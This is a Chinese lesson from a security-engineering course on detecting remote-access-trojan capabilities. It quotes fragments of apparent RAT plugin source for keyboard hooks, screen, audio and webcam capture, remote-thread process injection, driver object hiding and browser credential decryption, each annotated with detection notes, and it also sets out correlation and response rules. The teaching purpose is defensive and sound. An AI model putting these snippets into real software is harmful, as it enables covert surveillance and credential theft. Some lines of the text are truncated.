45 / 52 安全检测、响应与重构

第 45 课:高危能力综合识别

# 第 45 课:高危能力综合识别

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

前面专栏已经分别讲过键盘记录、屏幕采集、后台窗口、摄像头、播放监听、语音监听、代理映射、压力测试、注入、驱动和凭据读取。本课把这些能力放到一起,从企业安全工程角度做综合识别:哪些能力最危险,哪API 和文件是关键证据,如何把单点信号升级成高可信事件。 第 45 课:高危能力综合识别(配图)

# 1. 高危能力为什么要综合。

单个 API 不一定恶意。比如 BitBlt 可以用于截图工具,waveInOpen 可以用于会议软件,CryptUnprotectData 可以用于合法凭据保护。但如果这些行为出现在同一个远控式框架里,并且伴随网络命令、数据压缩、结果外发、持久化或注入,就必须提高优先级。 综合识别的核心是三句话:

原则 解释
看行为组 不只看一API
看上下文 谁调用、访问谁、什么时候调
看数据流 采集的数据是否被压缩、格式化、外

依赖说明: 本课横向引用前面多个模块和库:DirectInput、GDI/JPEG/zlib、DirectShow/Xvid、WASAPI、waveIn/G.729、WinSock/HPSocket、MemoryModule/yapi、SQLite/OpenSSL/cJSON/base64 Windows 驱动接口。综合识别时不要把这些依赖孤立看待,要看它们是否与远程命令、压缩、缓存、外发、持久化或注入连成数据流。

# 2. 高危行为分类

2. 高危行为分类(配图)

类别 代表模块 典型信号 风险
输入采集 键盘记录、远程交 键盘 Hook、离线记录、剪贴板更新 凭据、隐私泄
画面采集 高速屏幕、差异屏幕、后台窗 BitBltGetDIBits、窗口枚 屏幕内容泄露
音视频采 视频查看、播放监听、语音监 摄像头、WASAPI loopback、waveInOpen 隐私和会议内容泄
进程注入 注入管理、系统管理部分能 VirtualAllocEx、远程线程、APC 进程边界突破
内核能力 驱动插件 驱动服务、IOCTL、设备对象 内核级隐藏和破坏
凭据读取 解密数据 浏览器数据库、DPAPI、AES-GCM 账号资产失陷

# 3. 输入采集:键盘和剪贴。

键盘相关能力分散在多个模块里。远程交谈模块使用低级键Hook,键盘记录模块则通过注册表开关控制离线记录。

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp,约112-120 void SetHook()
{
    g_hKeyBoard = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        KeyBoardProc,
        GetModuleHandle(NULL),
        0);

    // 防御分析:低级键Hook 需要结合进程身份判断    // 聊天软件、输入法可能合法;未知远控进程应高优先级处理}
1
2
3
4
5
6
7
8
9
// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.cpp,约262-302 case COMMAND_KEYBOARD_OLKEYLOG_START:
{
    HKEY hKey;
    ::RegOpenKeyEx(HKEY_CURRENT_USER, _T("key"), 0, KEY_SET_VALUE, &hKey);
    ::RegDeleteValue(hKey, _T("open"));

    if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("key"), &hKey))
    {
        RegSetValueEx(hKey, _T("open"), 0, REG_BINARY, (unsigned char*)(_T("1")), 4);
    }

    // 防御分析:注册表开关控制离线键盘记录,
    // 应纳入输入采集类高危配置检测}
1
2
3
4
5
6
7
8
9
10
11
12
13

# 4. 画面采集:屏幕和窗口内容

屏幕模块常见信号GDI 截图 API。合法截图工具也会调用这API,所以要结合调用频率、父进程、网络外发和是否由远程命令触发。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp,约100-116 BYTE algorithm = (BYTE)m_bAlgorithm;
WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));

::BitBlt(
    m_hLastMemDC,
    0,
    0,
    m_nFullWidth,
    m_nFullHeight,
    m_hDeskTopDC,
    iScreenX,
    iScreenY,
    m_dwBitBltRop);

// 防御分析:BitBlt 高频调用后紧跟压缩和网络发送,
// 比单次截API 更值得关注?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 5. 音频和摄像头采集

播放监听使用 WASAPI loopback 捕获系统播放声音,语音监听使用 waveInOpen 打开麦克风输入。它们的共同点是访问音频设备后,把音频帧通过网络发送。

// 源码位置:主插件\播放监听\播放监听\AudioCapture.cpp,约54-69 hr = pthis->m_pDevice->Activate(
    __uuidof(IAudioClient),
    CLSCTX_ALL,
    NULL,
    (void**)&pAudioClient);

hr = pAudioClient->Initialize(
    AUDCLNT_SHAREMODE_SHARED,
    AUDCLNT_STREAMFLAGS_LOOPBACK,
    0,
    0,
    pwfx,
    0);

hr = pAudioClient->Start();

// 防御分析:AUDCLNT_STREAMFLAGS_LOOPBACK 表示采集系统播放音频// 需要与进程身份、用户授权和网络发送关联?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp,约93-124 BOOL CWaveIn::OpenDev()
{
    WAVEFORMATEX wfx;
    wfx.wFormatTag = WAVE_FORMAT_PCM;
    wfx.nChannels = m_wChannel;
    wfx.nSamplesPerSec = m_dwSample;
    wfx.wBitsPerSample = m_wBit;

    m_mmr = waveInOpen(0, WAVE_MAPPER, &wfx, 0, 0, WAVE_FORMAT_QUERY);
    m_mmr = waveInOpen(&m_hIn, WAVE_MAPPER, &wfx, m_dwAudioInId, s_dwInstance, CALLBACK_THREAD);

    // 防御分析:麦克风打开行为需要结合用户前台活动和进程可信度判断}
1
2
3
4
5
6
7
8
9
10
11
12

摄像头模块则通过设备枚举和帧发送实现远程查看。

// 源码位置:主插件\视频查看\视频查看\VideoManager.cpp,约37-633-100 void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    switch (lpBuffer[0])
    {
    case COMMAND_WEBCAM_RESIZE:
        m_SelectedDevice = *((LPDWORD)(lpBuffer + 9));
        ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5)));
        break;
    }
}

void CVideoManager::sendNextScreen()
{
    LPVOID lpDIB = m_pCapVideo->GetDIB();

    // 防御分析:摄像头帧数据被打包发送,应与设备访问权限提示    // 进程签名和网络会话一起分析}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# 6. 进程注入和内核能。

注入管理和驱动插件是本套源码中最需要优先处理的两类能力。前者突破进程边界,后者进入内核边界。

// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约967-979 LPVOID RemotlpAddress = VirtualAllocEx(
    hProc,
    NULL,
    dwSize,
    MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);

WriteProcessMemory(hProc, RemotlpAddress, lpAddress, dwSize, NULL);
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)RemotlpAddress, NULL, 0, NULL);

// 防御分析:这段只用于识别高危链// RWX 私有页、远程写入、远程线程同时出现时应高优先级处置?

1
2
3
4
5
6
7
8
9
10
11
12
// 源码位置:主插件\驱动插件\驱动插件\HiddenLib.cpp,约336-365 DeviceIoControl(
    context->hdevice,
    HID_IOCTL_ADD_HIDDEN_OBJECT,
    hide,
    (DWORD)size,
    &result,
    sizeof(result),
    &returned,
    NULL);

// 防御分析:未知用户态进程向未知驱动发送隐藏对象类 IOCTL// 是内核级高风险信号?

1
2
3
4
5
6
7
8
9
10
11
12

# 7. 凭据读取

凭据读取模块的高危点是浏览器敏感文件、DPAPI 和网络外发组合。

// 源码位置:主插件\解密数据\解密数据\GetBrowserInfo.cpp,约456-464 DATA_BLOB dataIn = { (DWORD)encryptedKeyLength - 5, (BYTE*)(encryptedKey + 5) };

if (!CryptUnprotectData(&dataIn, NULL, NULL, NULL, NULL, 0, pDatab))
{
    return false;
}

// 防御分析:非浏览器进程读Local State 后调用 CryptUnprotectData// 再访SQLite 登录数据,是凭据读取链的重要证据?

1
2
3
4
5
6
7
8
9

# 8. 跨模块关联时。

8. 跨模块关联时。(配图)

一个高可信事件通常不是单点触发,而是多模块、多层信号叠加:

  1. 控制命令到达?

  2. 插件进入对应能力分支?

  3. 访问敏感资源,例如键盘、屏幕、音频、浏览器文件、目标进程或内核设备?

  4. 对数据进行压缩、格式化或封装?

  5. 通过既有连接外发。

# 9. 企业检测分。

9. 企业检测分。(配图)

层级 代表数据 适合发现什
端点进程 进程树、模块、句柄、线 注入、Hook、异常父子进
内存 RWX、私有可执行页、线程入口 代码块注入
系统配置 注册表、服务、计划任务、驱 持久化、驱动加
数据访问 浏览器文件、Cookie、DPAPI 凭据读取
外设 摄像头、麦克风、音loopback 隐私采集
网络 长连接、协token、发送频 远程控制和数据外

# 10. 响应优先。

10. 响应优先。(配图)

信号组合 优先 建议动作
单次截图 API,无外发 核对业务软件和用户操
高频截图 + 压缩 + 外发 保全进程和网络证据,评估隔离
浏览器凭据读+ DPAPI + 外发 立即保护账号资产,重置相关凭
RWX + 远程线程 隔离主机,分析源/目标进程
驱动加载 + 隐藏对象 IOCTL 断网保全,进行内核侧排查
持久+ 注入 + 凭据读取 按失陷主机处

# 11. 合法练习:

  1. 从第 23-36 课中任3 个模块,列出它们的“敏感资源、关API、外发数据”?

  2. 设计一条跨模块关联规则:持久化变更10 分钟内出现屏幕采集或凭据读取?

  3. 解释为什么 CryptUnprotectDataBitBltwaveInOpen 单独出现不一定恶意,但组合到远控链路中风险会升高?

  4. 给企SOC 写一份事件分级建议,说明哪些信号需要立即隔离主机。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>